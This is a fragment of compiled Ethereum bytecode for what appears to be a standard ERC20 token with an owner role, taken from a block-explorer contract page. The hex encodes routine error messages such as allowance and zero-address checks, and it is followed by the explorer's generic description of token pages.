6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220657863656564732062616c616e636500600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6142c581613e5b565b81146142d057600080fd5b50565b6142dc81613e99565b81146142e757600080fd5b5056fea264697066735822122094efdb99a83a469f21a5d4aa6d5e8a2a2738ac49047b8fc360cbc219aff02f1d64736f6c63430008060033

Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.